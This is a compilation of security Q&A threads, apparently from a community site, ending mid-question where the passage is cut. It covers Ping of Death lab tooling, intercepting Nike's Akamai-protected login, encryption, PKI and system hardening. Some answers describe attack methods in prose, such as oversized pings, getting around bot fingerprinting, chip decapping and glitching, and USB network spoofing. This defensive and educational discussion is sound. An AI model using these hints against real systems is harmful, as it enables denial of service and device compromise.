What utilities can be used for Ping of death attack? Can somebody tell me what program can mess with pockets and enlarge them for Ping of death attack? (i need it for lab)
Is there anywhere step-by-step instructions of this attack? I'm not a hacker (embedded systems), don't know where to look.

Generally, sending a 65.536-byte ping should do the trick. For what program it can do? Well a script, which you should write!

I'll hand you some tools:

python
scapy
a guide with spoilers

Generally if you want to look for something, you should try using google. For instance googling for "ping of death example script" which should yield several examples in different languages.


Not able to intercept traffic from nike.com login request I'm using BurpSuite to intercept the HTTP/HTTPS requests sent when logging in on https://www.nike.com/. I'm trying to achieve this with the following step:

Opening BurpSuite and Firefox
Turning on the proxy intercept
Turning on FoxyProxy on Firefox
Opening the website and trying to logging

These steps usually work for me, but in this case, I'm getting a "we are unable to connect to our servers" error without anything appearing on the intercept tab when trying to logging (I have tried turning off the intercept feature but it still yields the same issue, so I think it might be a proxy and certificate problem).

To clear things up:

I'm running the latest versions of BurpSuite and FireFox.
I have installed and reinstalled the BurpSuite certificate using this guide.
I've tried all of this on my iMac, MacBook and iPhone all of these devices yield the same issue

Here bellow is the error message I'm getting:

Here are my BurpSuite Proxy setting:

(in the Certificate tab I just have Generate CA-signed per-host certificates selected)

I have been using BurpSuite for over 2 years now and it's the first time I'm facing such an issue, any help is appreciated

I have shared my question with the Portswigger support (the team behind BurpSuite) and got the following response:

  Hi

  Thanks for your message.

  We have reproduced the issue in our testing environment.

  It looks like Nike.com are performing a fairly sophisticated check to
  stop automated tool from accessing parts of their site.
  Please let us know if you need any further assistance.

  Cheers

  Liam Tai-Hogan

  PortSwigger Web Security

This problem comes from the configuration of unite.nike.com, which is the domain used to login users. The server replies with a 403 Forbidden response, so the AJAX request fails, and the site displays the "An error occurred" message.

This domain is protected by Akamai, and it seems to have a very strict security configuration to detect MitM / bots: I can't manage to perform a cURL request against it, so this is not a traffic interception issue.

My guess is that the server is detecting a browser-specific fingerprint, though I haven't figured out which one exactly yet.

The Burp Suite team needs to fix their proxy, since it should be as transparent as possible for a remote server.

Since the Postman extension doesn't have any trouble to fetch the page, any browser extension capable of traffic interception should work, since all its requests will be done in a browser environment, likely to preserve the fingerprints which are detected by the server.


How secure is my logged out but not shut down luks HD I'am running a Ubuntu 16.04 on a luks encrypted disk. Normally when I leave my machine for some minutes, I always shut it down to be safe with the luks encryption. But I wonder, what the possible threats are if I would only log out of my Ubuntu session. I know, that an Ubuntu password can be reset easily when there is no home folder encryption (what I don't have because I already use luks), but for that case it would be necessary to restart the system and unlock the luks.

Of course, the security would depend on my Ubuntu password then, but are there known vulnerabilities to hack a logged out session? I guess one would say, its always safer to shut down the system so have the full luks security, but whats the actual risk?

If you are using any type of pre-boot /OS level, or per-mount encryption it usually keeps anything protected accessible until you shut down. If you log out, but the system still needs access to application that would otherwise be encrypted that means the data can still be accessed and that it is either decrypted or that the decryption key is still in memory. Session management is usually disconnected from file encryption.

This means that if you had malware running on your system and it was not tied to your user session, it would continue to run even when you are logged out.

From your OP it sounds like you are talking about physical access attacks. If you can connect the locked system to a network or use a usb device which is masquerading as a ethernet controller it may be possible to spoof your real network and to carry out attacks. A good example is PoisonTap.

  PoisonTap produces a cascading effect by exploiting the existing trust in various mechanisms of a machine and network, including USB/Thunderbolt, DHCP, DNS, and HTTP, to produce a snowball effect of information exfiltration, network access and installation of semi-permanent backdoors.

There are other similar implementation, such as Rob Fuller's and BadUSB. You can use an app like USBGuard to prevent these.

Hypothetically, an attacker may also be able to install a more basic keylogger that you may not notice and then they can obtain your password to your session this way with physical access. There have also been live physical memory dumping attacks in the past and new ones may be discovered.

As a result, if you are in an untrusted environment in terms of physical access you should do a full shutdown to prevent any access to encrypted data. See also this post on the topic.


PostgreSQL Security Audit Could anyone provide a good resource or check-list for a security review of PostgreSQL?

The IBM wrote an article on hardening PostgreSQL: Total security in a PostgreSQL database. Should work as a check-list if to apply a bit another way of thinking about problem (switch on hacker mind).

From Owasp there are two papers, focusing on this field: OWASP Backend Security Project Testing PostgreSQL, that describes SQL Injection techniques within the scope of PostgreSQL and OWASP Backend Security Project PostgreSQL Hardening, that describes requirements for secure PostgreSQL setup.

There is also a book, called "SQL Injection Attacks and Defense". Well, the title itself describes the contents. (There is possible to see what is included in.)

PS: probably, it might be interesting to read also about Security-Enhanced PostrgreSQL: http://wiki.postgresql.org/wiki/SEPostgreSQL


URL Shortening - How to verify if it is a non-malicious URL? Again, I must mention that I have just started to learn about security. So, please bear with my newbie questions.

If I receive a shortened URL from somewhere, say in an my-email or in a social media post, how do I verify if it is a legitimate site and not some malicious site?

The simple answer is that you can't be 100% sure.

Here are 5 browser extensions that automatically expand short URLs for you to check visually if the destination website is familiar. But even familiar sites can contain malware or other attacks like Cross Site Scripting.

Google Chrome and Mozilla Firefox automatically perform checks against the Google Safe Browsing service but this service is not and cannot be up-to-date on all the threats all the time.

Most mainstream antivirus products have some active protection mechanism for web based threats but they are limited. For example, AV doesn't protect against Clickjacking.

Virus Total will scan your URL with many commercial products and services.


HeartBleed ReKeyed Cert with old creation date the lastpass.com/heartbleed tool states that my server is most likely vulnerable and that users should wait untill my cert has been replaced.

It seems that they check for certificate creation date, but i re-keyed my certs which means that they are newly created with a new key but still have the old information like the original creationdate from 2013.

Is there a way to check if a certificate has been rekeyed?

EDIT (clarification): If you have access to both certs you can tell the difference and compare it to the cert you see in the browser, but that's not possible for normal visitors to the site. If I browse to a website I want to be able to check if the cert has been replaced or re-keyed.

From what I've found so far it's not possible unless the certificate is replaced with a completely new one and has a new creation date.

The only differences between the old and the new certificates are the lines that come after

Serial Number:
Modulus:
Signature Algorithm:

and the ---BEGIN CERTIFICATE--- ... --- END CERTIFICATE ---- part.


How can I harden a system against malicious actions from within? I wasn't sure on the title, so please edit it if you think it can be improved.

I run a multiplayer gaming network (the backend system that handles accounts and player lists, and I want to expand my service to include a web-based control panel. This control panel will allow users to rent game-servers which are fully compatible with my network.

The gameservers will run on a separate dedicated server. This therefore means that users will have access to the executable files their server and are able to change them.

That presents the obvious problem malicious executable files and actions. By that, I mean:

The game the service supports has an autoexec.cfg file which can be populated with Windows commandline (which can be executed by the server);
The game has server modifications which mostly require a custom DLL (yet another executable) in order to function properly;
A certain server modification even requires the gameserver's own executable to be changed.

It should be noted that the only access that the user will have is via the web control panel and FTP (which will be their user directory such as user1 > server1). They will not have remote desktop access.

How can I prevent damage from malicious software/server modifications that users upload? Note that this is different to a web server since the attack surface is smaller (only limited to the gameservers that run on the machine, and that there are a maximum of 20 gameservers per machine).

Here's what I can think of, but is there anything else I can do?

A user account for each user- will allow separation of the gameserver processes for each user (easy to track a problem process down to a user);
Limiting the amount of PIDs each user can run- each gameserver should have just one PID, so logically we can limit the amount of PIDs to the amount of gameservers the user has. Obviously this doesn't fix the 'replace with malicious copy' issue;
Allow the user to only access the files in their folder;
Require manual approval of all executables before they are applied;
Virus/Malware scan on every file uploaded by the user

The operating system will be Windows Server 2008 (or 2012), each gameserver will have its own IP address, no other applications will run on the machine.

There is potentially books-worth of information out there about this; it's not a small topic. I'll give you a brain-dump of ideas to get started with.

Make sure you've got Windows Update actually working and applying updates.

Ensure that your firewall is switched on and configured properly. You don't want to be exposing SMB and RDP over the internet; consider having RDP port accessible only from fixed addresses.

Remove all software you're not actually using. This includes proprietary drivers that you can safely swap out for generic Microsoft ones; often these are full of security holes.

If you're running a fairly homogeneous application ecosystem, I recommend looking into Software Restriction Policy (SRP) and sandboxing solutions.

You can also install EMET to gain some general protection against exploits. Make sure that you actually configure it.

Ensure that your local security policy is configured to harden against cross-user attacks (particularly hardening the default DACLs of system objects).

Ensure that directories have appropriate access controls. Essentially you want to remove all cases of directory permissions allowing the Everyone or Authenticated Users groups to have write access.

Configure auditing on process creation, so you have better tracking of what users are up to and when. Apply file auditing (create, write) to shared directories and critical system paths like C:\Windows. Audit logon attempts and successes, particularly over RDP.

Crank the UAC enforcement level up to maximum. There are a lot of bypasses on UAC, and you don't want to get tricked into running something a user uploaded and ending up getting pwned unexpectedly. Most of the bypasses require the UAC enforcement level to be default.

Make sure your system %PATH% environment variable isn't including any path that is writable by users.

Ensure that the users don't have RDP access. There are multiple ways to harden this.

Follow a guide for locking down workstations. In the unlikely event that someone does get onto the server (e.g. RDP in) you want their user accounts to be as nerfed as possible, with no access to command prompt, registry editor, task manager, services list, etc. - this can also be solved to an extent with SRP.

Shift your FTP logs and system event logs (incl. audit logs) off-system, in realtime if possible. You want to have backups if someone somehow gets local admin and clears all the logs out.

Consider a host-based intrusion detection system (HIDS) such as OSSEC.

Look through Windows privilege escalation tutorials, and implement defense measures to help protect yourself against the tricks they use.


Security for a low latency online multiplayer game I am designing an online multiplayer game and I am looking for a good tradeoff of secure communications with minimal CPU and bandwidth utilization. My ideal solution would only use UDP packets since TCP is a poor choice for the realtime requirement of the game. However, I have no problem falling back on TCP for the login server.

Here is my idea.

When users first login to the service:

Users connect to an authentication server (which holds a Verisign cerficate) via SSL.
The authentication server validates the user's login credentials.
If the login is valid, then two 256-bit AES public/private key pairs are generated by the server. The user is sent one private key and one public key to remember, which can later be used for symmetric communication. The server remembers the opposing key pairs.
Additionally, a random 32-bit integer is generated and sent to the user. I will call this the "obfuscation key" for now.
The SSL connection is ended. From here on, all of the data is sent through UDP.

Whenever a user needs to perform a secure transaction with a server:

For requests, the payload is encrypted using the public key that the client received.
For responses, the payload is decrypted using the private key that the client received.

My first question -- is this safe and advisable?

The other problem I am trying to solve is sending timely packets for updates that don't have to be as secure but are extremely frequent, such as player movement and position.

Sending the data in the clear is dangerous due to trivial packet replay and man-in-the-middle attacks. However, I believe that performing the AES encryption for every such packet would be too CPU intensive. Instead, I am considering a simple XOR cipher obfuscation as follows:

Create a key for the XOR cipher by XOR-ing a 32-bit timestamp with the "obfuscation key" received earlier.
Apply the XOR cipher to the payload of the UDP packet.
Send the UDP packet with the timestamp in the header plus the obfuscated payload. This way the server can de-obfuscate using the same timestamp.

One thing I hope to accomplish with this is to simply deter packet sniffers and "script kiddies" who might try to trivially reverse engineer the protocol. Another concern is preventing packet replay attacks, which is the reason for including the timestamp in the XOR cipher. Finally, I'm hoping that adding the "obfuscation key" into the mix will prevent trivial man-in-the-middle attacks.

My second question -- is there a simpler and/or more effective way to hit these goals?

I realize these are loaded questions, so thank you in advance for taking the time to read this.

To the extent that I understand what you are proposing, I'm concerned this is not a great design.  It feels like it might be more complex than necessarily.  I'm concerned by any design that has the server knowing the client's private keys; feels like an unnecessary risk.  The use of "obfuscation keys", XOR ciphers, and the like raises red flags.  For these reasons, I would have concerns about its safety.

I'm wondering if there is a simpler solution.  My recommendation would be: check out Datagram Transport Layer Security (DTLS).  DTLS is a variant of TLS designed especially for datagram protocols, like UDP.  It is designed to work well even in the presence of dropped and re-ordered packets.  DTLS is reasonably well-vetted.  Using an accepted, published, well-vetted scheme is much safer (and much cheaper) than designing your own.  Therefore, if DTLS meets your needs, it seems like it would be a great solution.

If it doesn't meet your needs, come back and let us know what requirements it does not meet, and we may be able to make some other suggestion.


Does ssh-agent store the SSH key passwords in cleartext in the memory? So what is the use of protecting the ssh key with password when the notebook has full disk encryption? If someone is able to get the id_rsa then it is able with no effort (?) to get the id_rsa's password from memory, because it's stored in the memory in a cleartext format? (using ex.: ssh-agent)

Q: with FDE, is it worth it to use pwd on id_rsa?

You asked about if ssh-agent stores the key passwords in cleartext. I think from looking at the code we would probably find that it doesn't store the passphrase used to decrypt it but does store the decrypted key that is then used to establish an SSH connection.

But there's a more important issue in point. If an attacker has access to your system memory (RAM), installing for example a keylogger or some other RAT malware would be trivial.

You have clarified your question to ask if it's necessary to password protect your private key when you have full-disk encryption. I would argue yes it is, because full-disk encryption is a protection against offline attacks. Once you're booted into your system, any attack which compromises your running system (most likely with your user credentials through a web browser exploit) would be able to read your private key file. If the key file is encrypted, then you have averted this threat.

If you have encrypted your private key, and the attacker gains access to your live system while the private key is in memory, they would now have to use privilege escalation exploits to gain the ability to read those keys in memory. These techniques get complicated when you consider they would need to figure out exactly where the key in memory existed, else make your Internet connection upload your entire memory pool - something you are likely to notice.


Does installing more programs result in higher chances of being exploited? Theoretically, the answer could be yes since you increase the attack surface.
However, I was wondering if in practice it really makes a difference. I am mostly worried about exploits for web facing applications like browsers, irc software, web servers ...

As long as the software that gets installed does not interact with those applications directly or indirectly e.g by parsing downloaded files I don't see how it would lead to more relevant vulnerabilities. But it could maybe make things easier for an attacker after he/she exploited the vulnerability.

One can not fully trust any program one has installed because it might have unintentional bugs which can be exploited, intentional backdoors, features one is not aware of etc. It is practically impossible to determine what the program really does just be reading the description of the program - the real functionality will probably overlap with the claimed functionality but they might not be equal. Programs might also unintentionally replace libraries used by other programs and thus cause instabilities or even security issues in the other programs. Many programs also phone home to get updates and often the updates are delivered in an insecure way and can be hijacked for malicious reasons. Or the update server of the software author got hacked in malware is delivered to the system instead of updates.

And the more programs one has accumulated on your system the larger the risk is, especially if these programs are complex, no longer maintained or of questionable origin (like downloaded somewhere from the internet).


Get user real IP address if he is using VPN and Elite Proxy I want to know if it's possible to reveal the real IP address of a user with  JS:ScriptIP-inf [trj] or by other means, who is browsing a webpage which doesn't contain any Java Applet and the user uses Elite Proxy and VPN.

The whole point of a VPN is to ensure that you can't do this. For most cases, you should just consider this to be impossible, and look at other ways to force the user's hand like:

Blacklist all well known edit nodes and VPN server exit IPs. Then tell the user to turn off their protection to use your site - imgur does this.
If it's because of a legal issue, you may want to get your lawyer to contact the provider and ask for the user's IP. This is a remedial measure, and you may not always get lucky - especially if the provider is in another jurisdiction.

If you have other information like the user's screen resolution, device, make, browser etc . - you can use them along with the other two options to narrow down your list of possible users.


Is open-source infrastructure safe? My AWS infrastructure is publicly available here.
Is this a security concern?

I was prompted to ask this following the Capital One breach and after learning about https://opensourceinfra.org/

Please be nice and don't hack me if it is indeed insecure. I did my best in reviewing the repo for security breaches. I'm just posting this here for the sake of public knowledge and public good.

This question was originally posted on stackoverflow.com. A user replied saying that EC2 instance ID and VPC-related info are sensitive, but I found this post saying it's safe to share EC2 instance IDs.

It’s really difficult when someone says “is it secure?”. Because the answer will almost certainly be “from what?”.

You need to benchmark your security risk appetite, and from there look at what threats and vulnerabilities exist. Work out what you’re willing to accept, then mitigate the rest through different controls.

I know it’s not what you are looking for, but it’s really the only way to answer “is it secure?”

Note: I see the questions been reformatted since I posted this. Leaving it here for fullness


How does malware downloaded by JavaScript get executed, and why would you distribute malware in a .js file? I have two questions about JavaScript as an infection vector. The first one is about a user getting infected while visiting a website, and the second is about getting infected by e-mail via attachment.

1) Even if the malware is successfully downloaded by the user, wouldn't he still have to execute it himself to infect his system?

I'm talking about a case where no security holes in plugins like Flash or Java are used. The user would at best have a binary file in his downloads folder, maybe without even knowing it's there. Then what?

2) In malicious emails, why would you send a .js file as attachment that'll download the malware rather than the malware itself directly ?

I've even read about JS files in zip archives. Why? Most tech-illiterate people wouldn't know how to unzip a file and then try to open the document.

Even if the malware is successfully downloaded by the user, wouldn't he still have to execute it himself to infect his system ?

In the case that no exploit was used the malware has to downloaded and explicitly executed by the user. This is usually done via social engineering, i.e. declare the software as an software update or necessary plugin to view some illegal content, as an antivirus needed to resolve an immediate problem (scareware) or the malware is simply bundled with some software the user likes to use.

  In malicious emails, why would you send a .js file as attachment that'll download the malware rather than the malware itself directly ?

The current wave of malware in mails uses .js (or less often .vbs and .wsf) in an archive (mostly .zip). If the file gets extracted from the archive and executed it will not be executed by the browser but by the windows scripting host (WSH). WSH has not the restrictions and safety measures of the browser which means the WSH program can download the file and immediately execute it without needing manual interaction by the user.

Having a .js is more innocent than a .exe or .com as attachment and the chance that it gets blocked by the antivirus is smaller. And usually the .js files are heavily obfuscated and it is impossible to declare a fixed signature for the file or even have a reliable execution inside a sandbox. Additionally the executable file often gets served by the webserver with an innocent content type (i.e. claims to be in image) so that it does not get scanned by the firewall.


Is there a Yubikey equivalent to "stealing the hard drive"? Maybe I'm essentially asking an electronics / storage question...
This question is similar, though I think it was maybe asked more about physical security while the answer was more about malware.
This question explains that YK "stores the key on its internal storage media".
An article on YK's site says "In Yubico’s case, the PIN resides on the YubiKey"
I'm not overly worried about people stealing my device with no chance to revoke things, but theoretically, I just don't understand what makes it complicated to read the 8-byte PIN.
Given that Yubico has this article on a complicated side channel attack, it would seem the storage is not easy at all to access.
Where would this data live on the device if not on something like flash storage? I am used to thinking about "files" on a device, but I guess there are no files?

Short answer

Where would this data live on the device if not on something like flash storage?

It probably is flash, but it's put in a chip that's hard to take apart and examine without destroying the data you're trying to read. It's not impossible to do, but it's really quite difficult and expensive. It's not like a hard drive or flash drive where you can just remove it and plug it into a new computer.

Long answer
It is stored on a tamper-resistant solid-state chip. Most likely it is flash, but is designed in such a way that it's difficult to non-destructively remove the IC cover to expose the actual die (a process known as decapping). There are many ways to achieve this, but they can all be bypassed with enough effort. You should assume that anyone with a sufficiently-equipped laboratory will be able to break into it.
The usual way to read data from a poorly-protected IC (such as an 8051 chip with the firmware read-protect bit set) is to decap it with acid and then take a detailed photograph of the die. This makes it possible to reverse engineer the design and find the relevant components that will be storing the data you want. If you know where the data is stored, you can simply read the bits off it by examining the electrical properties of those components. A protected IC (like a TPM or Yubikey) merely attempts to make this more difficult. Many barriers are put in place to slow this down, to obfuscate the location of the secret data, and to increase the chances that the die will be damaged during decapping.
For example, see this discussion on forensic recovery from microcontrollers. It has this to say:

Decapsulating the YK4 and sticking it under an optical microscope reveals, well, not a whole lot. Pretty much every active part of the die apart from the bond pads is shielded by a metal layer that prevents the kind of visual inspection and simple UV tampering I described earlier.
One would have to de-process the device further using more exotic (and dangerous) acids or by wet lapping to reveal the true structure hidden underneath. These are destructive processes that render the circuit non-functional.
That’s not to say these types of defenses can’t be bypassed, but getting around such protections usually requires significant investment. Other types of mitigations focus on the detection of decapsulation by placing light sensors on the die itself to detect when the chips powers up after the molding compound has been removed. SIM cards often include an active mesh layer that can detect when a single trace has been cut.

Another technique to retrieve data is to use glitching attacks, which are made possible when the voltage or clock are controlled externally. If the voltage or clock are varied, it can induce glitches that may result in side-channels that expose secrets from the otherwise "sealed" integrated circuit. A well-designed secure storage system will make this nearly impossible, but new attacks are discovered from time to time. You can never completely rule glitching attacks out, but they may not be easy. If someone is going to decap the chip and expose the die and run it while beaming lasers at individual transistors and traces for fault injection attacks, there's not much they won't be able to recover.
Regular passive side-channel attacks (monitoring power usage, heat, sound, or radiation during processing of sensitive material) are easier to protect against. This can be done by using constant-time operations which take the same amount of time regardless of the data being processed, or with masking, which ensures that an operation takes the same amount of electrical power regardless of what is being processed. This is very effective and protecting against passive attacks, but glitching attacks as described above may force the system into an undefined state that violates the security guarantees provided by constant-time operations and masking, and could reveal secret data.


Is HTTPS over wifi still safe if a hacker can set up a rogue DHCP server? I always heard that entering passwords or any sensitive information while using a public wifi spot is safe only when visiting an HTTPS website, ensuring that the URI and certificate are valid.

Many wifi spots in my country (France) are badly administered and I hardly doubt that they are configured correctly. I would suppose that it won't be difficult to set up a rogue DHCP.

Imagine that a hacker using the machine 192.168.1.50 sets up a rogue DHCP which specifies that the DNS server is located at 192.168.1.50. When I query the new DNS server for the IP of mail.google.com, instead of giving the real IP such as 172.217.18.133 googlemail.l.google.com, it gives the wrong one, 192.168.1.50 googlemail.l.google.com.

Since the hacker now controls any communication between the victim and the outside world, he could now reuse the real certificate issued by GeoTrust Global CA for mail.google.com domain when I access the HTTP server at 192.168.1.50. Since the certificate is linked to the domain name, but the domain name matches, the browser shouldn't be able to figure out that something is wrong.

I imagine that I'm missing something; otherwise, many wifi hotspots would be hacked this way and HTTPS over wifi won't be considered safe any longer.

What's wrong in my reasoning?

Since the hacker now controls any communication between the victim and the outside world, he could now reuse the real certificate issued by GeoTrust Global CA for mail.google.com domain when I access the HTTP server at 192.168.1.50.

No he can't. To identify yourself with a certificate (which needs to be done to fake the server) you need to have access to the private key of the certificate, which is not available by the attacker. Thus HTTPS is safe against DNS spoofing.

For more details why this is the case see How does SSL/TLS work?.


How does a SIM card prevent cloning? I have read a few articles about SIM cards, stating that the chip inside them uses some cryptographic magic to prevent people from cloning your number. This to me seems borderline impossible, given that you could manufacture a new chip with exactly the same circuitry hard-wired into it.

So how does this cryptographic stuff prevent the cloning of SIM cards?

The SIM card contains a private key or more commonly a symmetric key called the "Ki", and the card is designed to never divulge this key to the outside world. The SIM card itself has physical security measures to make reading the key from the card very difficult without destroying the original card and/or the data stored in the card. For a long time, this makes it difficult or impractical to clone a SIM card.

The secret key isn't stored in SIM card circuitry. SIM card circuitry is basically just a very small integrated computer; it contains a CPU, RAM, ROM, and a writeable storage and have an operating system which can run Java Card application. The encryption key itself is stored in a solid state storage within the card. The card itself is a form of tamper proof housing to protect the small computer from physical access. To read this solid state storage directly, you'll probably need to use an electron microscope and grind the card very precisely without triggering the physical security features of the card.

In recent times, there has been some successful attacks to SIM cards. These attacks are typically in the form of either side-channel attacks or attacks on the vulnerabilities of the operating systems in the card rather than physical attacks.

Further readings:

how SIM uses secret key to authenticate a device
SIM Card Forensics


Why does PKI use a hash function? I'll preface my question with my understanding of PKI in case I have any misconception.

Owner of domain D generates a public-private key pair (d,e), and constructs a certificate c consisting of (d, D, time range, other metadata).
D convinces certificate authority X that information in c is accurate.
X computes H(c) using some cryptographic hash function H.
X encrypts H(c) using their private key to generate c', and gives this back to D.
I try to access D, and D sends me (c, c')
My browser applies X's public key to c' and compares to H(c).
If they match, my browser trusts c conditional on trusting X. Repeat up to some implicitly trusted root certificate authority.

Problems with H can weaken the scheme; this is why people stopped using MD5 and are moving away from SHA1. So why not just skip step 3 and encrypt c directly?

From my understanding, one reason is to limit the length of the message to be encrypted/decrypted in steps 4, 6. However my browser only really needs (d, D, time range) (and not even D for intermediate CAs). This is bounded, probably < 10x the length of H(c), and usually much shorter than the page content which my browser will presumably decrypt anyway. The metadata could be useful for auditing CAs to keep them honest, but that information could be provided separately by the CA (eg written to this append only log).

The main reason for this is that the asymmetric encryption algorithm used in the signing (RSA) cannot be used to encrypt large amount of data and it is extremely slow. In particular, RSA cannot encrypt data that is larger than its key size:

  RSA, as defined by PKCS#1, encrypts
  "messages" of limited size. With the
  commonly used "v1.5 padding" and a
  2048-bit RSA key, the maximum size of
  data which can be encrypted with RSA
  is 245 bytes. No more.

The bulk of the data encrypted when using asymmetric encryption is actually encrypted using a symmetric encryption, such as AES, with randomly generated key that is then encrypted using RSA and sent together with the data. This is how TLS, PGP, S/MIME, and most other PKI-based encryption systems work.

A PKI Certificate usually contains more data than what one can fit in the RSA size limit because a Certificate contains an RSA public key, which is usually of the same size as the CA's own RSA key. So we need a way to reduce the size of the encrypted data, while still faithfully representing the entire data. Thus, the use of hashing. The hash can then be encrypted using RSA directly, instead of using the RSA+AES method.

If we insist the entire certificate to be signed using plain RSA, then the CA would only be able to sign certificates whose key length is strictly shorter than the CA's key. And each step of intermediate CA's would only be able to sign consecutively smaller keys.

  The metadata could be useful for auditing CAs to keep them honest

The metadata isn't actually just used to keep CA honest. The metadata in a Certificate also encodes:

the certificate purpose (code signing certificate, S/MIME certificate, client certificate, server certificate),
identifying information about the key owner that the CA were able to verify (legal name, organization identifier, organization's address and legal jurisdiction), this should be used by the peer to decide whether they are communicating with the right entity
how to find the certificate revocation list or OCSP responder, and
the process that the CA used to verify the certificate, which represents the strength of the attestation (EV, OV, or DV).

Some information like CRL/OCSP cannot be safely communicated in a side channel, as that would defeat the purpose of the field.


Generating RSA keypair (safety/performance) in REST service There is a REST API service. An endpoint is responsible for creation of user accounts. Each user is supposed to have an RSA keypair generated and stored on a server. To protect the private keys from being read by a possible adversary, private keys are encoded to PEM. PEM format is encrypted with AES-256-CBC using a passphrase. The passphrase is same as the one a user is using to log in.

So far I have been generating a keypair within a request handler. But that in some cases takes 10 seconds which is undesirable.

What would be a safe, performance-wise solution to this problem? I want to avoid storing a passphrase in plain-text for later encryption.

If I understood you correctly, you are generating RSA keys on a server, keeping the public key on the server and sending the private keys to the users. I would recommend instead to generate the keys on the client side and send the public key to the server. This is how asymmetric encryption is supposed to be used.

The time needed to generate RSA keys is inherent to the RSA algorithm, there is nothing much you can do about it.

If you must generate the keys on the server, I would suggest you to switch from RSA to ECC. The key generation process is much faster. Many libraries exist to use ECC. The Curve25519 algorithm is a good choice, but there are alternatives.

Also, if you just need to protect communications between the client and the server, using TLS 1.2 (or 1.3) with client certificates is a better solution than rolling your own crypto.


Implementing SRP Challenge login system *with SSL* (Using PHP) My question: Anyone knows how to implement SRP / Diffie-Hellman authentication in PHP (or if this has already been done)?

(Some details)

I'm using CodeIgniter with TankAuth (both latest version)
I'm forcing SSL access via .htaccess

One of the requirements of this project is to use challenge-based authentication, I read a lot about it, it seems that making SRP / Diffie-Hellman work with TankAuth (along with SSL) is a secure authentication solution (provided it's properly done!)

The only real problem is: I just couldn't translate the SRP specification into PHP/mysql (I thought I was good at math but obviously I'm not!)

It doesn't matter if it's plain php, I can adapt the code to make it work with CodeIgniter/TankAuth.

I googled a lot, the closest I could find is this, but the implementation just doesn't feel right.

I also understand I'll eventually have to adapt this to make the two-steps authentication process look like a normal one-step standard login form (using ajax), but that's for later, right now I'm stuck with the logic.

The algorithm was ported to JavaScript for clients (browsers) and to PHP for servers: See Ruslan Zavacky's spr-6a-demo on GitHub.


Why should one bother encrypting the harddisk in linux if one can easily recover the root password? If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive.

Am I missing something here?

EDIT: It seems that I was mistaken in a fundamental concept of disk encryption. The password for disk / directory encryption is separate from that of the system account passwords.

In the case of Full disk encryption, access to any system password needs to first go through the encryption password.

In the case where only the home directory is encrypted, the user login password is used along with the encryption password to create phrase which is used to encrypt and decrypt the home directory. A forced change of the user password (from a root account for e.g) will not update this encryption phrase and thus the data will remain secure.

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive.

You might be mixing things up here. Root passwords and full-disk encryption passwords are not the same thing. At least they shouldn't be.

Root passwords are what you use to log in as root/admin on your operating system.
Full disk encryption is the password used to decrypt the hard-drive so you can even use it.

If someone has physical access to your device, and they don't have your disk encryption password, they cannot unlock the hard drive, and can't get any usable data from it. It'll be garbage.

Even if someone has your root password, they should not have your FDE password, unless you're using the same password for each, which in case, you have an incorrect security setup.


Relationship between http time response and geo-location I have a lot of pcap files about traffic generated by malware, this include vast kind of packets like TCP UDP and more important HTTP. Whereas is possible I have the geo-locations related to the IP adresses;
The question is: there is a way to find out if the location is a fake against the server response time?

On a reliable way, there isn't. The reasons:

There are many other circumstances which can increase the response time. For example, if there is a virtualized system or it is overloaded. Or its network is overloaded.
The TCP protocol uses a windowing scheme, which results you won't get not the ACKs to the actually received packets, but usually for 8 packets earlier, and it depends on the speed of the remote system to process these packets.
The topology of the networks is graph-like on the highest level (around from the country-level routing), while it is tree-like below that. The delay times are maybe reliable on the first, but start to be unreliable below that.
Even if it would work, you can get only a "distance" information which is very far from the localization.

But:

On sending the first TCP packet, the TCP window is nearly empty yet, so the delay of the first ACK packet is practically reliable delay information. It can be used essentially as a tcp-based ping.
If you have access to large server logs, you can construct a database from the typical delay time from every registered IP network on the net. It would be useful if you would store not only the mean value of the packet delay, but also their standard deviation.
If you have access to multiple servers, on widely remote places and network on the world (for example, one in middle Europe, other in New Zeeland), you can build a such timing database for all of them.
These databases should depend not only on the remote IP networks, but also on the time of the day, and of the day of the week (these network load depends mainly on these).

After that, based on a floating-point extension of the Bayes theorem (maybe extended with a little bit of fuzzy logic) you will be able to get a "beliavibility factor" of the IP delays. But it will result in most cases misleading results, because the cause of the unrealistic delays is in most cases on the last mile, and only in a relatively small part of obvious forgery.

But, if you connect this "suspectively behaving" IPs to other security logs, it can maybe serve as an useful source of "soft data". For example, it could be usable to heighten the sensitivity of spam filters or alarming firewalls.

It requires math on around the third-fourth semester of most universities, and at least one professional & senior programmer.

The things to be developed:

Building a such database and its hw/sw integration
Building the network monitoring scripts
And building the IP localizing script based on the network delay stats of an individual IP.

I would say it would be between a week and a half year of development, based on the details.

If you have enough machines, you can build a delay database even between nearly all networks on the Earth, which could be even used maybe for the localization of their real location. But it would be much harder.


Reasonable way to store encrypted passwords in a webapp's database, Linux This question is generally similar to past questions asked here, but I haven't seen one the relates to Linux.

Case at hand: a PHP web app has a MySQL backend. As part of its functionality it accesses other, remote MySQL hosts and issues some queries on those hosts.

To allow that, the PHP app needs credentials for those remote databases.
What is a reasonable way for it to store/fetch such credentials?

It is required that the users of the app do not provide such credentials themselves. Also, there could be dozens of users to this app.

All users of the app are identified via LDAP. The app and the entire set of MySQL servers lie within the same internal network (requires two step VPN verification). The entire setup runs on Linux machines.

What are reasonable solutions to this problem?

You just need to store the configuration in a file that is only accessible to the user that PHP is running as.  You can prevent a web user from accessing the file, but PHP has to be able to get to the credentials and no matter what you do, they will be effectively unprotected.  Any secret you could give the application could be discovered, so there isn't any real advantage to trying to make some complex chain.

Beyond just the configuration file, you should also ensure that the SQL account that your webserver uses can only be used from the IP of the webserver and that it only has the rights needed for the webserver.  If your webserver gets hacked, then they will get the webserver's access to the DB, but if your webserver is that hacked, they could also just replace scripts to make the webserver access it however they want anyway.


Certificate chain with intermediate CA communication I am really new into security and much more confused with the concepts going on, regarding the CA.
Let's assume the following exists in a system:

         TA
          |
       CA_MID
     /        \
  CA_INT1   CA_INT2
    /|\        /|\
END_ENTn1   END_ENTn2

The topmost CA is the trust anchor. CA_MID is an intermediate CA issuing only certs to other CAs. CA_INT1 and CA_INT2 are CA that issue certs to end entities, laptops(CA_INT1) and desktops(CA_INT2).
Suppose I have a laptop(END_ENTn1) which has imported the chain TA, CA_MID, CA_INT1.

1st question: In order to communicate with a desktop, should I also import the CA_INT2 to my laptops Trust Store?

